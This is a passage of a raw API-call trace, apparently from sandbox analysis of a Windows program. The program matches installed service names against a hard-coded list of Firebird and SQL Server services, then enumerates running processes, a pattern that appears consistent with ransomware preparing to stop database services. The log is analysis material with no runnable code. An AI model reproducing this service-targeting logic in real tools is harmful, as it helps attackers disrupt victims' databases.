(lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0268.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0268.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0268.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0268.287] lstrlenW (lpString="Dnscache") returned 8 [0268.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0268.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0268.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0268.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0268.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0268.288] lstrlenW (lpString="DPS") returned 3 [0268.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0268.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0268.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0268.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0268.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0268.288] lstrlenW (lpString="DusmSvc") returned 7 [0268.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0268.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0268.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0268.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0268.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0268.288] lstrlenW (lpString="EventLog") returned 8 [0268.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0268.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0268.288] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0268.468] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0268.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0268.468] lstrlenW (lpString="EventSystem") returned 11 [0268.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0268.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0268.468] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0268.469] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0268.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0268.469] lstrlenW (lpString="FontCache") returned 9 [0268.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0268.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0268.470] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0268.470] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0268.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0268.470] lstrlenW (lpString="gpsvc") returned 5 [0268.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0268.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0268.470] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0268.470] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0268.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0268.470] lstrlenW (lpString="iphlpsvc") returned 8 [0268.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.470] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0268.470] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0268.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0268.470] lstrlenW (lpString="KeyIso") returned 6 [0268.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0268.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0268.471] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0268.471] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0268.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0268.471] lstrlenW (lpString="LanmanServer") returned 12 [0268.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0268.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0268.471] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0268.471] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0268.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0268.471] lstrlenW (lpString="LanmanWorkstation") returned 17 [0268.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.471] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0268.471] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0268.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0268.471] lstrlenW (lpString="lfsvc") returned 5 [0268.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0268.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0268.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0268.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0268.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0268.472] lstrlenW (lpString="lmhosts") returned 7 [0268.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0268.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0268.472] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0268.472] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0268.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0268.472] lstrlenW (lpString="LSM") returned 3 [0268.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0268.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0268.472] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0268.472] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0268.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0268.472] lstrlenW (lpString="MpsSvc") returned 6 [0268.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0268.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0268.472] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0268.472] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0268.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0268.473] lstrlenW (lpString="NcbService") returned 10 [0268.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0268.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0268.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0268.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0268.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0268.473] lstrlenW (lpString="netprofm") returned 8 [0268.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0268.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0268.473] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0268.473] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0268.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0268.473] lstrlenW (lpString="NgcSvc") returned 6 [0268.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0268.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0268.473] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0268.473] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0268.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0268.473] lstrlenW (lpString="NlaSvc") returned 6 [0268.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0268.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0268.474] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0268.474] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0268.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0268.474] lstrlenW (lpString="nsi") returned 3 [0268.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0268.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0268.474] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0268.474] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0268.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0268.474] lstrlenW (lpString="PcaSvc") returned 6 [0268.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0268.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0268.474] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0268.474] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0268.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0268.475] lstrlenW (lpString="PlugPlay") returned 8 [0268.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0268.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0268.475] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0268.475] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0268.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0268.475] lstrlenW (lpString="Power") returned 5 [0268.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0268.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0268.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0268.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0268.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0268.475] lstrlenW (lpString="ProfSvc") returned 7 [0268.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0268.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0268.475] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0268.475] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0268.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0268.476] lstrlenW (lpString="RpcEptMapper") returned 12 [0268.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.476] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0268.476] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0268.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0268.476] lstrlenW (lpString="RpcSs") returned 5 [0268.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0268.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0268.476] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0268.476] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0268.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0268.476] lstrlenW (lpString="SamSs") returned 5 [0268.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0268.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0268.477] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0268.477] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0268.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0268.477] lstrlenW (lpString="Schedule") returned 8 [0268.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0268.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0268.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0268.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0268.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0268.477] lstrlenW (lpString="SecurityHealthService") returned 21 [0268.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0268.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0268.478] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0268.478] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0268.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0268.478] lstrlenW (lpString="SENS") returned 4 [0268.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0268.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0268.478] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0268.478] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0268.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0268.479] lstrlenW (lpString="ShellHWDetection") returned 16 [0268.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.479] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0268.479] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0268.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0268.479] lstrlenW (lpString="Spooler") returned 7 [0268.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0268.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0268.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0268.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0268.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0268.480] lstrlenW (lpString="SSDPSRV") returned 7 [0268.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0268.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0268.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0268.480] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0268.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0268.480] lstrlenW (lpString="StateRepository") returned 15 [0268.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0268.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0268.480] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0268.480] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0268.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0268.480] lstrlenW (lpString="SysMain") returned 7 [0268.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0268.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0268.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0268.480] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0268.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0268.480] lstrlenW (lpString="SystemEventsBroker") returned 18 [0268.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0268.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0268.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0268.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0268.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d1fe8 | out: hHeap=0x670000) returned 1 [0268.481] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0268.490] Process32FirstW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.491] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.492] lstrlenW (lpString="System") returned 6 [0268.492] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.492] lstrlenW (lpString="smss.exe") returned 8 [0268.493] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.494] lstrlenW (lpString="csrss.exe") returned 9 [0268.494] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.495] lstrlenW (lpString="wininit.exe") returned 11 [0268.495] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.496] lstrlenW (lpString="csrss.exe") returned 9 [0268.496] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.496] lstrlenW (lpString="winlogon.exe") returned 12 [0268.496] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.498] lstrlenW (lpString="services.exe") returned 12 [0268.498] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.499] lstrlenW (lpString="lsass.exe") returned 9 [0268.499] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0268.500] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0268.500] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0268.501] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0268.501] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.502] lstrlenW (lpString="svchost.exe") returned 11 [0268.502] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.503] lstrlenW (lpString="svchost.exe") returned 11 [0268.503] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.504] lstrlenW (lpString="dwm.exe") returned 7 [0268.504] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.504] lstrlenW (lpString="svchost.exe") returned 11 [0268.504] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.505] lstrlenW (lpString="svchost.exe") returned 11 [0268.505] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.506] lstrlenW (lpString="svchost.exe") returned 11 [0268.506] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.506] lstrlenW (lpString="svchost.exe") returned 11 [0268.507] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.508] lstrlenW (lpString="svchost.exe") returned 11 [0268.508] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.509] lstrlenW (lpString="svchost.exe") returned 11 [0268.509] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.510] lstrlenW (lpString="svchost.exe") returned 11 [0268.510] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.565] lstrlenW (lpString="svchost.exe") returned 11 [0268.565] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.565] lstrlenW (lpString="svchost.exe") returned 11 [0268.566] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.566] lstrlenW (lpString="svchost.exe") returned 11 [0268.566] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.567] lstrlenW (lpString="spoolsv.exe") returned 11 [0268.567] Process32NextW (in: hSnapshot=0x304, lppe=0x248fd2c | out: 